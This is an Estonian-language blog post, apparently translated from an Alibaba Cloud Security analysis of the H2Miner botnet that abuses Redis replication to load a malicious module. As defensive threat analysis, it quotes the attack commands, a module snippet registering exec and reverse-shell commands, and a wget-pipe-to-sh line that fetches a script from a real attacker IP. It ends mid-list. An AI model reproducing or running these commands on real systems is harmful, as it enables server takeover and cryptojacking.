{"id":55714,"date":"2020-01-27T00:00:00","date_gmt":"2020-01-26T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce"},"modified":"2020-02-18T14:03:51","modified_gmt":"2020-02-18T11:03:51","slug":"obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","status":"publish","type":"post","link":"https:\/\/prohoster.info\/et\/blog\/administrirovanie\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","title":{"rendered":"Avastatud uus H2Miner viiruspuukide laine, mis kuritarvitab Redis RCE","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Eile r\u00fcndas \u00fcks minu projekti serveritest sarnane uss. Otsides vastust k\u00fcsimusele \"mis see oli?\", leidsin Alibaba Cloud Security meeskonna suurep\u00e4rase artikli. Kuna ma ei leidnud seda artiklit Habras, otsustasin selle teie jaoks spetsiaalselt t\u00f5lkida <3\n<\/p><\/blockquote>\n

Sissejuhatus<\/h2>\n

\nHiljuti avastas Alibaba Cloudi turvameeskond \u00e4kilise H2Mineri puhanguga. See t\u00fc\u00fcpi pahavara kasutab autentimise puudumist v\u00f5i n\u00f5rgad paroolid Redis'e jaoks sissep\u00e4\u00e4suna teie s\u00fcsteemidesse, seej\u00e4rel s\u00fcnkroniseerib omaenda pahavara mooduli slave'i kaudu master-slave s\u00fcnkroniseerimise ja l\u00f5puks laeb selle pahavara mooduli r\u00fcnnatavale masinale ja k\u00e4ivitab pahatahtlikud k\u00e4sud.<\/p>\n

A varem, r\u00fcnnakud teie s\u00fcsteemidele toimusid peamiselt meetodi kaudu, mis h\u00f5lmas ajastatud \u00fclesandeid v\u00f5i SSH-v\u00f5tmeid, mis salvestati teie masinasse p\u00e4rast sissetungija sisenemist Redis'e. \u00d5nneks ei \u00f5nnestu seda meetodit sageli kasutada, kuna probleemid \u00f5iguste kontrollimisega v\u00f5i erinevad s\u00fcsteemiversioonid. Siiski v\u00f5ib see pahavara laadimise meetod otse k\u00e4ivitada r\u00fcndaja k\u00e4ske v\u00f5i p\u00e4\u00e4seda k\u00e4suviibale, mis on teie s\u00fcsteemi jaoks ohtlik.<\/p>\n

Kuna palju serverite<\/a> Redis'e, mis on internetis (peaaegu 1 miljon), Alibaba Cloudi turvameeskond soovitab kasutajatel mitte anda p\u00e4\u00e4su Redis'e-le v\u00f5rgust ning regulaarselt kontrollida oma paroolide usaldusv\u00e4\u00e4rsust ja veenduda, et need pole alti kasutusele v\u00f5etud.<\/p>\n

H2Miner<\/h2>\n

\nH2Miner \u2014 see on Linux-p\u00f5hine kaevandamis-botnet, mis suudab teie s\u00fcsteemi tungida mitmel viisil, sealhulgas autoriseerimise puudumine Hadoop yarn'is, Dockeris ja kaugk\u00e4ivitamise haavatavus Redis (RCE). Botnet t\u00f6\u00f6tab, laadides alla pahavara ja kaevandamisprogramme, et kaevandada teie andmeid, laiendada r\u00fcnnakut ning s\u00e4ilitada k\u00e4skluse ja kontrolli (C&C) \u00fchendust.
\n<\/a><\/noindex><\/p>\n

Redis RCE<\/h2>\n

\nSelle teema teadmisi jagas Pavel Toporkov ZeroNights 2018-l. P\u00e4rast versiooni 4.0 toetab Redis v\u00e4list mootorite laadimise funktsiooni, mis annab kasutajatele v\u00f5imaluse laadida Redis'sse C-ga kompileeritud failide so, et t\u00e4ita teatud Redis'i k\u00e4ske. See funktsioon, kuigi kasulik, sisaldab haavatavust, kus modemaster-slave re\u017eiimis v\u00f5ivad failid s\u00fcnkroonida slave'i kaudu fullresync re\u017eiimis. Seda saavad r\u00fcndajad kasutada pahatahtlike so-failide edastamiseks. Edastamise l\u00f5petamisel laadivad kurjategijad mooduli r\u00fcnnatud Redis'i eksemplarile ja t\u00e4idavad mis tahes k\u00e4su.<\/p>\n

Pahavara ussi anal\u00fc\u00fcs<\/h2>\n

\nHiljuti avastas Alibaba Cloudi turvameeskond, et H2Mineri pahatahtlike kaevandajate r\u00fchm on j\u00e4rsku m\u00e4rgatavalt kasvanud. Anal\u00fc\u00fcside kohaselt n\u00e4eb r\u00fcnnaku tekkimise protsess v\u00e4lja j\u00e4rgmine:<\/p>\n

\"Avastatud
\n
\nH2Miner kasutab RCE Redisit t\u00e4ielikuks r\u00fcnnakuks. Esiteks r\u00fcndavad kurjategijad kaitsetud Redis servereid v\u00f5i servereid, millel on n\u00f5rgad paroolid.<\/p>\n

Seej\u00e4rel kasutavad nad k\u00e4sku config set dbfilename red2.so<\/code> faili nime muutmiseks. P\u00e4rast seda t\u00e4idavad r\u00fcndajad k\u00e4sku slaveof<\/code> master-slave replikatsiooni hosti aadressi seadmiseks. <\/p>\n

Kui r\u00fcndetgev Redis eksemplar seab master-slave \u00fchenduse pahatahtliku Redisiga, mis kuulub kurjategijale, saadab r\u00fcndaja nakatunud mooduli failide s\u00fcnkroniseerimiseks k\u00e4sku fullresync. Seej\u00e4rel laaditakse fail red2.so r\u00fcnnatud masinasse. P\u00e4rast seda kasutavad kurjategijad laadimisnuppu .\/red2.so, et laadida see so-fail. Moodul v\u00f5ib t\u00e4ita kurjategija k\u00e4ske v\u00f5i algatada tagasivoolu (tagauks), et p\u00e4\u00e4seda r\u00fcnnatud masinasse.<\/p>\n

if (RedisModule_CreateCommand(ctx, "system.exec",\n        DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n      if (RedisModule_CreateCommand(ctx, "system.rev",\n        RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n<\/code><\/pre>\n
\nP\u00e4rast pahatahtliku k\u00e4su t\u00e4itmist, nagu \/ bin \/ sh -c wget -q -O-http:\/\/195.3.146.118\/unk.sh | sh> \/ dev \/ null 2> & 1<\/code>, r\u00fcndaja kustutab varukoopia faili nime ja laadib s\u00fcsteemimooduli v\u00e4lja, et eemaldada j\u00e4ljed. Siiski j\u00e4\u00e4b fail red2.so r\u00fcnnatud masinasse alles. Kasutajatele soovitatakse p\u00f6\u00f6rata t\u00e4helepanu selliste kahtlaste failide olemasolule oma Redis'i instantsi kataloogis.<\/p>\n
Lisaks m\u00f5ningate pahatahtlike protsesside h\u00e4vitamisele ressursivarguse eesm\u00e4rgil j\u00e4rgnes r\u00fcndaja pahatahtlikule skriptile, laadides ja k\u00e4ivitades binaarsed pahavara failid, et 142.44.191.122\/kinsing<\/a><\/noindex>. See t\u00e4hendab, et protsessi nimi v\u00f5i katalooge nimi, mis sisaldab kinsing'i hostis, v\u00f5ib viidata sellele, et see masin on olnud selle viiruse poolt nakatunud.<\/p>\n
P\u00f6\u00f6rdprojekteerimise tulemuste kohaselt t\u00e4idab pahavara peamiselt j\u00e4rgmisi funktsioone:<\/p>\n